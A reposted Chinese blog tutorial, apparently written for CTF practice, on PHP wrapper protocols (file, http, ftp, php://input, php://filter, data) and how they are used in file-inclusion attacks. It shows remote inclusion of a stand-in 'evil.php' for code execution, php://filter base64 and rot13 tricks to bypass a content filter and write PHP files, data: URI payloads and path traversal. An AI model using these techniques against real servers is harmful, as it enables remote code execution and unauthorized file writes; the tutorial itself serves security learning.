自学内容网 自学内容网

php伪协议

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做技术交流与学习,,,

目录

1-什么是协议?

2-协议格式:

3-php中的协议

file协议

http协议

读取本地文件

读取远程文件

​编辑 

include远程包含

ftp协议

4-php协议(伪协议)

php://input

php://filter

base64 转换器

rot13(凯撒密码)转换器

data协议

上层目录特性:

php目录整理特性:

三元表达式:



 


1-什么是协议?

--规定大家在外面都说普通话啊,这样我们就可以沟通交流.

网络层协议:IP ICMP IGMP ARP
应用层协议:http https ftp ssh gopher 
qq拉起协议 Tencent://qq/go123
百度网盘的拉起协议 ... 


2-协议格式:

协议头://内容

 


3-php中的协议


file协议

不写协议名字,默认就是file协议(本地磁盘自己搜索)

相对路径/绝对路径

include "f.php";

include "file:///var/www/html/f.php";


include "../html/f.php";

        "/var/www/html/f.php";


http协议

读取本地文件

读取远程文件

 


include远程包含

配合文件包含,可以读取远程的php代码并执行,实现了RCE的效果.

 


 

现代 PHP 配置(尤其是 php.ini 中的 allow_url_include 和 allow_url_fopen 设置)默认禁止从 URL 包含或打开文件,以防止此类安全漏洞。

<?php  
  
// 假设远程服务器上的 PHP 文件包含恶意代码  
$remoteFileUrl = "http://example.com/evil.php";  
  
// 使用 file_get_contents() 读取远程文件内容  
$code = file_get_contents($remoteFileUrl);  
echo $code; // 输出远程文件的内容  
  
// 使用 include 执行远程文件  
include $remoteFileUrl;  
  
?>

现代 PHP 环境默认会阻止这种行为。要允许 include 包含 URL 或 file_get_contents() 打开 URL,你需要在 php.ini 中将 allow_url_include 和 allow_url_fopen 设置为 On。

 


ftp协议

默认21端口,进行文件传输

 

include "ftp://xxxxx/xxxx";

# 21端口要开放.


4-php协议(伪协议)

php://input

post的内容都显示出. 

(hackbar插件必须是key=value形式!!!)

当有php标记的语言写入到post里面时,会返回其执行的结果,


php://filter

base64 转换器

<?php


# filter


error_reporting(0);
highlight_file(__FILE__);

$file = $_GET['file'];
$content = $_POST['content'];

if (preg_match("/\<|\>|\;|\<|\?/i")) {
    die("content not safe");
}
file_put_contents($file,$content);


通过过滤器绕过, 将编码之后内容解码

--------

/?file=php://filter/write=convert.base64-decode/resource=1.php
content=<?php phpinfo();?>        
<?php phpinfo();?>        --base64编码
/1.php      --访问(成功执行,写入)


rot13(凯撒密码)转换器

ROT13加密/解密 - ROT13编码/解码—LZL在线工具 (lzltool.cn) 

http://127.0.0.1:8084/test01.php?file=php://filter/write=string.rot13/resource=2.php 

content=<?cuc cucvasb();?>

死亡die题目 

也是成功的写入


filter的选择器非常多,具体去看官方文档. 


data协议

 http://127.0.0.1:8084/test01.php?file=data:text/plain/,<?php phpinfo();?>

                                                     ?file=data:,<?php phpinfo();?>

      ?file=data:,php代码


 

上层目录特性:

1-每个目录都有上层目录
2-根目录的上层目录是自己
/../../../../

(windows不行)


php目录整理特性:

/var/www/html/cc/../flag.php
/vat/www/html/flag.php


三元表达式:

A?B:C
如果A成立,返回B的结果;否则返回C的结果.


 


原文地址:https://blog.csdn.net/2303_80857229/article/details/140557759

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!